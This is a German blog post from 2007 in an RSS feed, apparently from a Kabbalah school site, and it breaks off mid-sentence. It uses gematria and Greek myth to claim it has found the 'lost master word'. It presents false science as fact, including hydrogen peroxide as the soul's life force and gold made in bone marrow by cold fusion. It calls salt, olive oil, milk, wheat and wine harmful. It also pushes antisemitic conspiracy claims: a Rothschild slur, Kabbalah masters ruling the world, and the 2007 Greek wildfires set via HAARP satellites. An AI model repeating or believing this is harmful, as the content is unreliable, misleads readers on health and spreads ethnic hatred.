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	<title>Kabbalaschule.ch</title>
	<link>http://www.kabbalaschule.ch/blog</link>
	<description>Ein weiteres tolles WordPress-Blog</description>
	<pubDate>Fri, 25 Jun 2010 14:48:45 +0000</pubDate>
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		<title>Das</title>
		<link>http://www.kabbalaschule.ch/blog/?p=36</link>
		<comments>http://www.kabbalaschule.ch/blog/?p=36#comments</comments>
		<pubDate>Wed, 29 Aug 2007 15:23:26 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Lebensfragen]]></category>

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		<description><![CDATA[

















&#160;Was ist mit dem „verlorenen Meisterwort“
gemeint? In einer esoterischen Schrift heisst es, die Christen hätten „durch ihre Priester keine weiteren echten
Wunder zu Stande gebracht; denn sie
hatten das Wort verloren.“ Ferner wird hierzu ausgeführt, dass „das allmächtige Wort … von Enoch durch zwei
Dreiecke reinsten Goldes bezeichnet wurde … Dieses Wort ist … vollständig aus
Konsonanten zusammengesetzt. Daher [...]]]></description>
			<content:encoded><![CDATA[

<p align="center" class="MsoNormal" style="text-align: center;"><span lang="DE-CH"><br /></span></p>















<p align="left" class="MsoNormal" style="text-indent: 35.4pt;"><span lang="DE-CH"><o:p>&nbsp;</o:p><br />Was ist mit dem „verlorenen Meisterwort“
gemeint? In einer esoterischen Schrift heisst es, die Christen hätten <em>„durch ihre Priester keine weiteren echten
Wunder zu Stande gebracht;</em> <em>denn sie
hatten das Wort verloren.“</em> Ferner wird hierzu ausgeführt, dass <em>„das allmächtige Wort … von Enoch durch zwei
Dreiecke reinsten Goldes bezeichnet wurde … Dieses Wort ist … vollständig aus
Konsonanten zusammengesetzt. Daher zweifeln wir, dass irgend einer von</em> <em>ihnen seine Aussprache bemeistert hat.“</em>
[Blavatsky „Isis“ II 870f.]. Das bedeutet, dass das verlorene Meisterwort bis
heute noch nicht aufgedeckt werden konnte. Doch lassen wir uns davon nicht
beirren, denn die soeben zitierten Aussagen führen uns weiter und zum Ziel.</span><br /></p><div align="center"><strong><span lang="DE-CH">Die Geheimwissenschaft und
die Kraft</span></strong></div><div align="center"><div align="center"><p align="left" class="MsoNormal" style="text-indent: 35.4pt;"><strong><span lang="DE-CH"></span></strong><br />Der einzige Name, der in den oben zitierten
Sätzen vorkommt, ist „<strong>Enoch</strong>“. Ein
Esoteriker wird da gleich an das 614-Seiten-Buch <em>„Die Schlüssel des Enoch“</em> von J.J. Hurtak erinnert.<span lang="DE-CH"><br /></span></p><div align="left"><p><span lang="DE-CH">Dieser „Enoch“ aber, der dem griechischen
„Hermes“ (Hermes Trismegistos) entspricht, ist der bibelhebräische Name für den
Erstgeborenen Kains (Gn 4,17), des Mörders seines Bruders Abel. Der „Enoch“ hat
also etwas mit dem „Bösen“ schlechthin zu tun. Der Name „Enoch“
wird hebräisch (hier lateinisch transkribiert) ChNWK geschrieben und eigentlich
„Chánoch“ ausgesprochen [Gesenius 244], was Martin Luther in seiner
Bibelübersetzung wohl als zu schwierig für die deutsche Aussprache empfand.
ChNWK geht auf das bibelhebräische Wurzelverb ChNK zurück mit der Bedeutung „<strong>einweihen</strong>“. Dazu existiert auch die
Ableitung „chánukka“ für „Einweihung“.<br /></span><br /><span lang="DE-CH"></span><span lang="DE-CH">Die
Konsonantenbasis ChNWK = „Enoch“ lässt sich jedoch kabbalistisch auch als eine Konstruktion
aus den beiden hebräischen Abbreviaturen Ch“N W-K’ erklären: </span></p></div></div></div>

















<p align="left" class="MsoNormal" style="text-indent: 35.4pt;"><span lang="DE-CH"><span></span><strong>Ch“N</strong>
löst sich auf in ChKMH NSThRTh und bedeutet „<strong>die Geheimwissenschaft</strong>“.<br /><span></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>W-K’
</strong>löst sich auf in W-KWCh mit der Bedeutung „<strong>und
die Kraft</strong>“.<br /><br />Es geht also bei
„Enoch“ um das geheim gehaltene Wissen von der „Kraft“ schlechthin. Damit aber kann
im Kontext nur die <strong>kosmische
Lebensenergie</strong> gemeint sein, die von der Esoterik auch als „<strong>freie Energie</strong>“ bezeichnet wird – ohne
dass deren Geheimnis bis heute enträtselt werden konnte. Denn darüber wissen
nur, wie uns das Verb ChNK verrät, nur die in dieses Geheimnis „<strong>Eingeweihten</strong>“ richtig Bescheid. Das
aber sind nur ganz Wenige.</span><strong><span lang="DE-CH"><br /></span></strong></p><div align="center"><strong><span lang="DE-CH">Die Symbolik der „zwei
Dreiecke reinsten Goldes“</span></strong></div>













<p class="MsoNormal" style="text-indent: 35.4pt;"><strong><span lang="DE-CH"><o:p /></span></strong><br /><span lang="DE-CH">Diese verborgene und geheime Kraft wird, so
der zitierte Text, nicht nur durch ein verloren gegangenes „Wort“ bezeichnet,
sondern auch „durch zwei Dreiecke reinsten Goldes“ symbolisiert. Das aber ist
doppelter Symbolismus.<br /><br />Einerseits geht es
um die antike esoterische Lehre von den Vier Elementen. Bei dem Dreieck mit der
Spitze nach unten handelt es sich um „<strong>Wasser</strong>“,
wissenschaftlich um das <strong>reine Wasser</strong>
H<sub>2</sub>O, bei dem mit der Spitze nach oben um „<strong>Feuer</strong>“, wissenschaftlich um das <strong>freie Radikal </strong>O<sub>1</sub>, also den sehr reaktiven atomaren
Sauerstoff. Beide zusammen aber ergeben unbekannter Weise den „<strong>Heiligen Gral</strong>“, wissenschaftlich
ausgedrückt das <strong>Wasserstoffperoxid</strong> H<sub>2</sub>O<sub>2</sub>,
das <em>die reine aerobe Lebenskraft der
Seele</em> darstellt. Für die Menschheit ist dies gleichbedeutend mit der
Erlösung vom Bösen.<br /><br />Andererseits ist
das erwähnte „Gold“ dabei eine Metapher für die (göttliche) „<strong>Liebe</strong>“, zumal „Feuer und Wasser“ hier
auch durch die Allegorien „<strong>Amor und
Psyche</strong>“ verkörpert werden. Aus wissenschaftlicher Sicht entspricht das Gold
dem betreffenden chemischen Element, das durch „<strong>Kernfusion bei Zimmertemperatur</strong>“ entsteht, wenn überschüssige Teile
des in der Lunge beim reinen Einatmen erzeugten Wasserstoffperoxids im
Immunsystem der Seele und dort im Knochenmark gespeichert werden, entweder zur
Regeneration desselben oder für den Gebrauch als Lebenskraft im weiteren Verlaufe
des jeweiligen Tages.<br /><br />Das auf diese analytische
Weise gefundene „Wasserstoffperoxid“ ist zwar tatsächlich bereits die
endgültige und sachliche Lösung des Rätsels, doch ist es gleichwohl nicht das
„verlorene Meisterwort“, da dieses ja <span>&nbsp;</span>„vollständig aus <strong>Konsonanten </strong>zusammengesetzt“ sein muss. Es wird sich dabei also um
eine Sequenz handeln, die auf dem <strong>hebräischen</strong>
Alphabet<span>&nbsp; </span>basiert, das ja nur aus 22
Konsonanten besteht. Doch der hebräische Begriff „émer“ AMR für „Wort“ bedeutet
auch „Spruch“, so dass das gesuchte „Wort“ gegebenenfalls auch aus einem Satz
bestehen kann. Diese verloren gegangene Sequenz „bemeistern“ kann also offenbar
nur ein Meister der Kabbala, der zugleich des Hebräischen mächtig ist.</span><br /></p><div align="center"><strong><span lang="DE-CH">Europa und der Stier</span></strong></div><p class="MsoNormal" style="text-indent: 35.4pt;"><strong><span lang="DE-CH"><o:p /></span></strong><br /><span lang="DE-CH">Am 24.8.2007 bin ich im Zusammenhang mit
den beiden Felder „Wasser“ und „Feuer“ in der Matrix der Seele spielerisch auf
die griechische Göttersage „<strong>Europa und
der Stier</strong>“ gestossen. Der „Stier“, der das „Wasser“ verkörpert, ist eine
Gestalt, die der griechische Göttervater „<strong>Zeus</strong>“
angenommen hat, um sich der phönizischen Königstochter „<strong>Europa</strong>“ zu nähern und sie nach Kreta zu entführen, wo sie ihm drei
Kinder gebar. Diese „Europa“ aber als Allegorie entspräche dann beim
vorgenannten Schema dem „Feuer“, mithin dem freien Radikal, also der ewigen kosmischen
Lebenskraft und damit dem universellen Heilmittel. Das ist jedoch für die
Menschheit bisher seit 6000 Jahren reine Utopie gewesen.<br /><br />Denn das
modernhebräische Wort für „Europa“ wird AJRWPH geschrieben mit der Aussprache
„éropa“ und dem Wortwert 302. Die Konsonantenbasis lässt sich auch als „<strong>nicht heilbar</strong>“ deuten. Zum Wert 302
existiert das bibelhebräische Wurzelverb QRB mit der Bedeutung „<strong>feindlich nahen</strong>“ und der Ableitung „<strong>Kampf, Krieg</strong>“. Das ist das historisch
bekannte Schicksal Europas seit Anbeginn, das heisst seit 524 v. Chr. Doch ein
weiteres hebräisches Wort mit dem Wert 302 ist DRK HChKMH, was „<strong>der Weg der Weisheit</strong>“ bedeutet. Dieser
Weisheitsweg aber bedeutet heute die Rettung Europas vor dem drohenden
Untergang, denn völlig zutreffend heisst es: <em>„Wenn Europa, wenn die Welt noch zu retten sind, dann nur über eine
neue geistige</em> <em>Idee.“</em> [Plichta I
442].</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Das
„verlorene Meisterwort“ hat also offenbar etwas mit der Erlösung des bisher
unheilbaren Europas durch ein neues geistiges Konzept zu tun. Betrachten wir
deshalb zunächst die<span>&nbsp; </span>legendäre „Entstehung
Europas“ in der griechischen Mystik etwas genauer.</span></p>



<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">Zeus, der Göttervater<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH">In einem Buch über die Götter Griechenlands
heisst es von Zeus: <em>„Er ist <strong>der allerhöchste</strong> <strong>Gott</strong>. Kein Sterblicher hat je sein Antlitz geschaut, <strong>keiner kennt seinen wahren Namen</strong>.
Unsichtbar und verborgen, sieht er alles, weiss er alles. <strong>Er lenkt die Welt nach seinem Gesetz</strong>, ein schweigender Schiffsherr
am Steuer. <strong>Er allein unter allen Göttern
ist frei</strong> … Er schickt die Hagelwetter und die Schneestürme … Er schickt den
sintflutartigen Regen, der die Welt zu ertränken und den Urgewässern
zurückzugeben scheint … <strong>Im Weltall gibt
es ausser</strong> <strong>dem Schicksal keine höhere
Macht als ihn</strong> … Zeus ist der oberste Herr. Reichtum, Macht, Glück, alle
Güter erwarten die Menschen von ihm. Er gibt die Tage und die Nächte, er gibt die
Jahreszeiten, er gibt die Gesundheit, Leben und Tod des Kämpfers gehören ihm.
Er schafft die Krieger, er schafft die Weisen … Also herrscht <strong>Zeus der Unerforschliche</strong> …<o:p /></em></span></p>

<p class="MsoNormal"><em><span lang="DE-CH"><span></span>Der Herr der Götter ist ein <strong>gewaltiger Lebenserzeuger</strong> … Er
verführt, befruchtet, verlässt … Lange werden seine Eintagsgeliebten jammern
und stöhnen, doch keine bedauert, die Lust eines Gottes geteilt und von ihm
einen Sohn empfangen zu haben, dem ein grosses Schicksal bevorsteht …<o:p /></span></em></p>

<p class="MsoNormal"><em><span lang="DE-CH"><span></span>Das Warten auf die Gerechtigkeit des
Zeus währt lange. <strong>Warum prasst der
schlechte Reiche im Genusse seiner ungerecht erworbenen Güter? Warum irrt der
brave Bürger in der Verbannung umher und bettelt um Brot? Warum stolziert der
meineidige, pflichtvergessene Beamte an der Spitze des Festzugs? Warum kommt
der Unschuldige auf dem Pfahl um, inmitten der allgemeinen Verachtung?<o:p /></strong></span></em></p>

<p class="MsoNormal"><em><span lang="DE-CH"><span></span>Zeus enttäuscht nicht den Glauben
dessen, der zu warten weiss … Die Könige, die Geschenke fordern, die Richter,
die das Urteil beugen, die Reichen mit den harten Herzen – <strong>Zeus wird sich eines Tages erheben und sie alle zerschmettern</strong>. Er
erhebt sich wie ein gewaltiger Frühlingswind, der plötzlich das schwarze Gewölk
vom Himmel vertreibt und der Welt die Klarheit wiedergibt.“ </span></em><span lang="DE-CH">[Bonnard 39ff.]. </span></p>



<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">Das Geheimnis der „Europa“<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH">Wenn das Paar „Europa und der Stier“ – was
ich hier erstmals aufdecke – identisch ist mit der esoterischen Symbolik der
Elemente „Feuer und Wasser“, dann ist Zeus nicht wie oben zitiert der allerhöchste
Gott, ist nicht der einzige freie unter den Göttern und ist nicht der, der die
Welt nach seinem Gesetz lenkt. Denn Zeus ist der „Stier“ und ist das Element
„Wasser“, und damit – wie „Stier“ und „Wasser“ – nur der <em>Träger</em> der eigentlichen Schöpferkraft. Und bei dieser muss es sich
damit um die „Europa“ handeln. Im obigen Zitat heisst es von Zeus: <em>„Im Weltall gibt es <strong>ausser dem Schicksal</strong> keine höhere Macht als ihn“. </em>Das bestätigt
meine soeben getroffene Feststellung und besagt zugleich, dass „Europa“ die
bisher unbekannte „Schicksalsmacht“ ist, die über dem Zeus steht, die bereits
mit dem Element „Feuer“ identifiziert wurde und dieses wiederum mit dem freien
Radikal O<sub>1</sub>, das <em>„allein unter
allen Göttern frei“</em> ist und der „freien Energie“ entspricht. </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Diese
Verwechslung von Wirksubstanz und Trägersubstanz hat sich bis zum heutigen Tage
in der westlichen Wissenschaft erhalten. Denn dort wird von der „Wasserkraft“
gesprochen, von der „Wasserstoffbombe“, doch in allen Fällen ist damit der
Sauerstoff gemeint, genauer: das freie Radikal O<sub>1</sub>, der atomare
Sauerstoff, die pure göttliche Lebenskraft, die von Wissenschaft und Technik in
schwerster Weise missbraucht wird.</span></p>















<p class="MsoNormal" style="text-indent: 35.4pt;"><span lang="DE-CH"><span></span>In
der griechischen Sage wird die „Europa“ als <em>„die
Tochter eines Königs aus</em> <em>Phönizien“</em>
bezeichnet, von der es heisst, dass<em>
„diese Tochter Asiens … einem neuen Erdteil ihren Namen Europa gibt“ </em>[Bonnard
53]. Der Bann oder Fluch der „Unheilbarkeit“, der über den Erdteil „Europa“
verhängt und in seinem Namen verewigt wurde, ist also auch damit verbunden,
dass Europa seit Anbeginn nie selbständig, sondern immer nur ein verkapptes <strong>asiatisches Kolonialgebilde</strong> war, das
heisst abhängig vom Handelsvolk der <strong>Phönizier</strong>,
das aus dem heutigen Libanon („Das Zedernland“) stammt und sich in Europa unter
laufend wechselnden Identitäten verbirgt. Wie ich in meiner Schriftenreihe „Der
Ewige Bund“ in der Ausgabe Nr. 72 vom 9. August 2006 mit dem Titel „Das Ende
der Super-Legende ‚Rothschild’“ nachgewiesen habe, lässt sich der
„byzantinisch“ anklingende Name „<strong>Rothschild</strong>“
auf zwei hebräische Wörter zurückführen mit den Bedeutungen „vertreiben,
wegtreiben“ und „irdisches Leben“ mit der Bedeutung „<strong>Unterdrückung der Lebenskraft</strong>“, wodurch <em>„sich die Geldkraft ungeniert, skrupellos und gnadenlos entfalten kann:
Kaufkraft</em> <em>statt Lebenskraft“</em>
(Seite 2). Mit diesem „anaeroben“ Leben, durch das das göttliche Wasserstoffperoxid
mit allen verfügbaren Mitteln willkürlich unterdrückt wird, kommt auch der
eigentliche Fluch zum Vorschein, der auf „Europa“ lastet und sich von hier über
die Kolonialisierung in alle Welt verbreitete.</span><br /></p><div align="center"><strong><span lang="DE-CH">Das „Rückwärtslesen“ von
„STIER–EUROPA“</span></strong></div><p class="MsoNormal" style="text-indent: 35.4pt;"><strong><span lang="DE-CH"><o:p /></span></strong><br /><span lang="DE-CH">In der Buchstabenmystik existiert die
systematisierte Bildung von so genannten „Palindromen“, also Worten oder
Buchstabenfolgen, die man ebenso gut von vorne wie von hinten lesen kann. Durch
sie soll es unmöglich werden, das Geheimnis einer Buchstabenfolge durch
„Rückwärtslesen“ zu enträtseln [Dornseiff 63].<br /><br />Die
paarige Begriffsfolge „<strong>Stier-Europa</strong>“
ist kein Palindrom und eignet sich somit prinzipiell dazu, das ihr innewohnende
Geheimnis durch „Rückwärtslesen“ zu enträtseln. Das soll hier nun praktiziert
werden: Durch retrogrades Lesen ergeben sich die Buchstaben APORWE–REITS. Lässt
man den Bindestrich einmal weg, ergibt sich eine buchstäbliche Hebräisierung
A-PWR W-YRA-YTs<span>&nbsp; </span>(YRA ist Aramäisch für
Hebräisch DPNH „dáf’nah“) mit der Bedeutung „<strong>Mein Schicksal (Los) und der Lorbeer-Baum</strong>“.<br /><br />Das
aber, in seiner <em>hebräischen</em>
Konsonantenform, ist das gesuchte „<strong>verlorene
Meisterwort</strong>“, das hier nun erstmals aufgedeckt wird.<br /><br />Denn weiter oben
wurde zitiert, dass es ausser dem „Schicksal“ keine höhere Macht gäbe als
„Zeus“, der auch durch den „Stier“ und das „Wasser“ symbolisiert wird. Mit „mein
Schicksal“ ist also das „<strong>freie Radikal</strong>“
O<sub>1</sub> gemeint, die göttliche Schicksalsmacht schlechthin, die noch mächtiger
ist als die Kraft des reinen Wassers. Für dieses „Wasser“ wiederum, ausgedrückt
durch den retrograden (himmlischen) „Stier“, tritt nun symbolhaft der
„Lorbeer-Baum“ in Erscheinung. Vom „Lorbeer“ aber heisst es: <em>„Symbol des <strong>Sieges</strong>, des <strong>Friedens</strong> und
(als immergrüne Pflanze) der <strong>Unsterblichkeit</strong>
… Der Lorbeerbaum galt als <strong>heilbringend</strong>
und <strong>entsühnend</strong>“ </em>[Lurker 410]. Doch
dieser Lorbeer kann seine segensreiche Wirkung nur entfalten, wenn das
„Lebenslicht“ des freien Radikals in ihm enthalten ist. Das geht auch aus dem
Wort „Lorbeer“ hervor, wenn man es hebräisiert. Dann ergibt sich nämlich
L-AWR-BAR, ausgesprochen „l-or-b<sup>e</sup>ér“, mit der Wertsumme 440 und der
Bedeutung „<strong>für das Lebenslicht des
Brunnens</strong>“. Mit dem Brunnen ist hier die „Seele“ des Menschen gemeint, deren
Kraft erschöpfbar ist wie der Vorrat eines Brunnens, weshalb sie täglich wieder
mit dem „freien Radikal“ neu „aufgetankt“ werden müsste, wenn man „ewig“ und
vor allem „ewig gesund“ leben möchte. Bei <em>anaerober
</em>Lebensweise aber ist diese Regeneration und damit die „Kerngesundheit“ nicht
möglich. <em>Gematria</em>: Zum Wert 440
existiert der hebräische Begriff HNPShH „há-nepaschah“ für „<strong>Naturbeseelung</strong>“.</span></p>



<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">Die Erfüllung des
„Symbols<o:p /></span></strong></p><p class="MsoNormal"><span lang="DE-CH">Zum „Symbol“ heisst es: <em>„Im ursprünglichen Sprachgebrauch war der
Sinn des griechischen Wortes ‚symbolon’ der eines Erkennnungszeichens. Wenn
zwei Freunde für längere Zeit oder für immer voneinander schieden, so
zerbrachen sie eine Münze, ein Tontäfelchen oder einen Ring; kam nach Jahren
jemand von der befreundeten Familie zurück, so konnten die zusammengefügten
Teile (symbállein = zusammenwerfen, zusammenfügen) bestätigen, dass der Träger
des einen Bruchstückes wirklich Anspruch auf die Gastfreundschaft besass. <strong>Das Symbol ist also ein ‚Zusammengefügtes’,
in dem ein sonst nicht wahrnehmbarer Sinninhalt manifestiert wird</strong>.“ </em>[Lurker
665]. </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Das
wiederum erinnert an 1 Kor 13,9-10: <em>„Denn
Stückwerk ist unser Erkennen, Stückwerk unser prophetisches Reden; wenn aber
das Vollendete kommt, vergeht alles Stückwerk.“ </em>Auch in der Symbolsprache
der hermetischen Gnosis und hier in den Texten des heiligen Irenäus heisst es
in ähnlicher Weise: <em>„Von der Unwissenheit
kam die Verfehlung und die Leidenschaft, durch die Gnosis werden die Folgen der
Unwissenheit wieder aufgehoben. Daher ist die Gnosis die Erlösung des inneren
Menschen … Die Gnosis erlöst den innern, geistigen Menschen; in der <strong>Erkenntnis des Ganzen</strong> hat er sein
Genügen, und <strong>dies ist die</strong> <strong>wahre Erlösung</strong>.“ </em>[Moorsel 128]. </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Diese
Zusammenfügung von zwei Teilen zu einem „Ganzen“, genauer: zu <em>dem </em>Ganzen schlechthin, zeigt die
hebräisch-aramäische Sequenz A-PWR W-YRA-YTs auf, die aus der retrograden
Lesung von „Stier-Europa“ abgeleitet wurde und das „verlorene Meisterwort“
darstellt. Dabei zeigt sich, dass sich die Schnittstellen der beiden Wörter
verschieben, indem sich das „Eu-“ = YW von „Europa“ mit dem Feld „Stier“ verbindet,
so dass im Feld „Europa“ nur noch das A-PWR übrig bleibt. Erst die richtige
Zusammenfügung dieser durch „Stier-Europa“ <em>„zerbrochenen“</em>
Wörter ergibt dann den wirklichen Sinn des Meisterwortes, wodurch auch die
eigentliche Bedeutung des „Symbolon“ sich erfüllt hat und „das Ganze“ so
erkannt werden kann.<o:p /></span></p>



<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">Die kabbalistische Analyse
von „Stier-Europa“<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH">Die oben erstmals aufgedeckte retrograde
Sequenz A-PWR W-YRA-YTs<span>&nbsp; </span>auf der
Grundlage von „Stier-Europa“ als Ausdruck für das verlorene Meisterwort „Mein
Schicksal (Los) und der Lorbeer-Baum“ umfasst 10 Konsonanten, den Sofitwert
1534, den Äusseren Wert (AW) 724, den Verborgenen Wert (VW) 987, den Totalen
Wert (TW) 1711 und den Grossen Wert (GW) 3622. Hierzu existiert folgende
Gematria:</span></p>











<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><strong><span>10</span></strong>
= Ein Hinweis auf <strong>die Matrix der Seele</strong>
mit ihren zehn Feldern sowie auf die biblischen „<strong>Zehn Gebote</strong>“ („Dekalog“) als deren regulatorischer Entsprechung.<br /><span></span><strong><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1534</span></strong>
= BHThRWMMWTh HNPSh [Gematrikon II 179] mit der Bedeutung „<strong>in der</strong> <strong>Hochstimmung der
Seele</strong>“; sowie 1534 = 2 x 767 = HDBR KShLYTsMW „há-davar ke-schel’átsmo“ für
„<strong>das Ding an sich</strong>“ [Langenscheidt
HWB 591] – also jenes ungreifbare Phänomen, nach dem die Philosophen seit
ewigen Zeiten vergeblich suchten.<br /><span></span><strong><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 724</span></strong>
= AChRJTh HJMJM für „<strong>Das Jüngste Gericht</strong>“
(„das Ende der Zeiten“).<br /><span></span><strong><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 987</span></strong></span><span> = Th“M = ThAKL MTsWTh für „<strong>deine Speise-Gebote</strong>”.<o:p><br /><span></span></o:p></span><strong><span lang="DE-CH">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1711</span></strong><span> = SPJRTh HNWTsRJM<span>&nbsp; </span>für „<strong>Christliche Zeitrechung</strong>“; siehe oben
„Das Jüngste Gericht“, das heisst „das Ende der Zeiten“ ist gekommen!<o:p><br /><span></span></o:p></span><strong><span lang="DE-CH">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3622</span></strong><span> = 2 x 1811 = BLThJ KRY ThChTh ASJR in Jes 10,4 mit der Übersetzung „<strong>Der noch nie gekniet, (wird es) unter
Gefangenen …</strong>“ [Zunz III 674]. Mögliche Deutung: Der Jude ist der einzige
unter den Völkern, der sich rituell niemals kniet. 1811 = 280. Primzahl, 280 =
AWR ChJJM für „<strong>Licht des Lebens</strong>“;
ChKMH RBH „<strong>grosse Weisheit</strong>“.<o:p /></span></p>

<p class="MsoNormal"><span><span></span><em>Zusammenfassende
Deutung</em>: Durch die erstmalige Aufdeckung des „verlorenen Meisterwortes“,
dem „Ding an sich“, kommt die Seele der bisher unterdrückten Menschheit in
Hochstimmung durch Beachtung der richtigen Speise-Gebote. Über die, die dieses
bisher mit allen Mitteln verhinderten, kommt das „Jüngste Gericht“, wie es oben
im Abschnitt „Zeus, der Göttervater“ beschrieben wird. Dies ist auch identisch
mit dem Ende der weltweit verbreiteten, linearen und irreversiblen
„Christlichen Zeitrechnung“, die zynischerweise den lebenslänglichen <em>anaeroben</em> Sterbeprozess des Menschen
symbolisiert und zementiert. <o:p /></span></p>



<p align="center" class="MsoNormal" style="text-align: center;"><strong><span lang="DE-CH">Aktueller Bezug zu diesen
Aufdeckungen<o:p /></span></strong></p>



<p class="MsoNormal"><span>Die Sequenz
„Stier-Europa“ oder „Zeus-Europa“ geht auf das antike Griechenland zurück, wo
(gemäss meinen Berechnungen) im Achsenjahr 524 v. Chr. die abendländische
Kultur für 2300 Jahre (bis 1776 n. Chr.) ihren Anfang nahm, nachdem im selben
Jahr die altägyptische Epoche nach ebenfalls 2300 Jahren zu Ende ging. Doch
Europa war (wie Ägypten zuvor) von Anbeginn ein kolonialisiertes Gebilde der „<strong>Chaldäer</strong>“, die in Griechenland unter
dem historischen Etikett der „<strong>Ionier</strong>“
auftraten und die im ionischen 12-Städte-Bund in Kleinasien einen symbolischen
Zusammenschluss fanden. <o:p /></span></p>

<p class="MsoNormal"><span><span></span>Seit einigen Tagen wütet nun in nahezu ganz Griechenland
ein Flammeninferno, das <em>„die grösste
Umweltkatastrophe in Griechenland sein Menschengedenken“</em> darstellt (so die
Gratiszeitung „20 Minuten“ vom 28.8.07), zumindest aber <em>„die schwerste Brandkatastrophe</em> <em>seit
1871 ist“</em> (NZZ 28.8.07). Zu einem Nasa-Foto vom Samstag (25.8.07) heisst
es: „Die gewaltigen Rauchwolken über Griechenland sind bis ins All zu sehen.“
(20 Minuten, 27.8.07). Und in den Nachrichten von Radio DRS vom 28.8.2007 um 8
Uhr wurde berichtet, „unzählige Olivenhaine“ wären bereits von den Flammen
vernichtet worden. <em>„Die schlimmsten
Feuerherde befinden sich auf der <strong>Insel
Euböa</strong>, in der Umgegend von <strong>Athen</strong>
und</em> <em>auf dem <strong>Peloponnes</strong> … Gerettet</em> <em>werden
konnte das Zentrum des <strong>antiken Olympia</strong>,
das am Sonntag von bis zu 100 Meter</em> <em>hohen
Flammen bedroht worden war.“</em> Allein am Montagmorgen wurden 89 neue Brände
gezählt, die in den letzten 24 Stunden aufgetreten sind. Über die Ursachen wird
gerätselt. Die Regierung macht insbesondere Brandstifter verantwortlich, die
Opposition sieht darin nur ein Ablenkungsmanöver. „Wie dem auch sei, es fällt
jedenfalls auf, dass das Nachbarland Türkei keine vergleichbare
Brandkatastrophe erlebt. Dies, obwohl auch in der Türkei grosse Trockenheit
herrscht“ (NZZ 28.8.07).<o:p /></span></p>

<p class="MsoNormal"><span><span></span><em>Meine „radikale“
Deutung</em>: Die Brandstifter sind nicht, zumindest nicht vorwiegend
irgendwelche griechischen Bodenspekulanten, wie dies vielfach vermutet wird,
sondern die „Chaldäer“ selbst, die zusammen mit den über ihnen stehenden
„Tannaiten“ (den Lehrern der Mischna und Meistern der Kabbala) seit jeher die
Herren der Welt sind. Sie erzeugen und kontrollieren die Brände punktgenau aus
dem Weltall, genauer: mit Hilfe von Satelliten, dies unter Zuhilfenahme der
Technik des geheimnisvollen <strong>HAARP</strong>-Projektes:
„<strong>H</strong>igh <strong>F</strong>requency <strong>A</strong>ctive <strong>A</strong>uroral <strong>R</strong>esearch <strong>P</strong>rogram“ (siehe
via Google), mit dem sich nicht nur das gesamte Wetter steuern lässt, sondern
auch jedes beliebige lokale Einzelphänomen bewerkstelligen lässt wie gezielte
Flugzeugabstürze, Tsunamis, Überflutungen oder eben die auf Griechenland
begrenzte gewaltige Feuerwalze. <o:p /></span></p>

<p class="MsoNormal"><span><span></span>Warum geschieht dies? Das „<strong>Griechische Feuer</strong>“ war eine Kriegswaffe aus der Antike, durch deren
<em>äusserliche</em> Anwendung riesige
gegnerische Flotten vernichtet wurden (siehe via Google). Die <em>innerliche</em> Anwendung dieser verheerenden
Waffe ist dagegen völlig unbekannt und beruht auf der gezielten Aktivierung der
<strong>Galle</strong> der beherrschten Völker durch
schädliche Lebensmittel wie <strong>Kochsalz</strong>
(Halogen Chlor), <strong>Olivenöl</strong> (Chlor), <strong>Milch</strong> (Enzym Katalase), <strong>Weizen</strong> (Protein Gluten/Kleber), <strong>Sauerteig </strong>(anaerobe Gärmittel durch Pilze
als lebende Einzeller) und <strong>Wein</strong>
(Schwefel als Sauerstoff-Feind). Dieses endogene „griechische Feuer“ veranlasst
den Menschen zu existenziellem Fehlverhalten, durch das er seine Seelenkräfte
missbraucht und irreversibel verbraucht.<o:p /></span></p>

<p class="MsoNormal"><span><span></span>Das „<strong>Olympische
Feuer</strong>“ war das Symbol der Olympischen Spiele im antiken Griechenland, die
gegen Ende des 19. Jahrhunderts wieder eingeführt wurden. Unbekannter Weise
findet dieses „olympische Feuer“ auch im Inneren des Menschen, in seiner Seele,
statt, wenn er sich durch andauerndes Ritualverhalten überanstrengt und
verausgabt, so bei <strong>körperlicher Arbeit</strong>,
bei <strong>Sport</strong>, beim <strong>Kampf</strong> (im Krieg), bei <strong>Tanz </strong>und
beim <strong>Sex</strong>. Hierbei hat das endogene
„olympische Feuer“ dieselben verheerenden Auswirkungen wie das endogene
„griechische Feuer“. <o:p /></span></p>

<p class="MsoNormal"><span><span></span>Das gegenwärtige Flammeninferno in Griechenland ist nach
meiner Ansicht <em>reine Apokalypse</em>! Es
tilgt nicht nur das Andenken an die Chaldäer mit ihrer seit jeher unheilvollen „Zivilisierung“
der Menschheit mit darüber gestülpter, gottloser „Kultur“, sondern schafft
dementsprechend auch die Voraussetzung für die dringend notwendig gewordene,
geistige Neuorientierung Europas. Die Chaldäer begehen quasi „geistigen
Selbstmord“, nachdem ich in den letzten Monaten und Jahren nahezu alle
